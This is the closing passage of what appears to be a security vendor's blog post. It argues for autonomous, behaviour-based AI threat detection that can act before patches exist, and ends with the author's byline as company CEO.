Finally, assume that the next serious incident will occur before remediation guidance is available. Ask what happens in those first minutes and hours. The organizations that maintain resilience are not the ones waiting for disclosure cycles to catch up—they are the ones that can autonomously identify and contain emerging threats as they unfold.

This is the reality of cybersecurity in an AI‑shaped world. Patching and prevention remain important foundations, but the advantage now belongs to those who can respond instantly when the unpredictable occurs.

Behavioral AI is security designed not just for known threats, but for the ones that AI will discover next.

[related-resource]

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About the author
Ed Jennings
President and CEO
Your data. Our AI.
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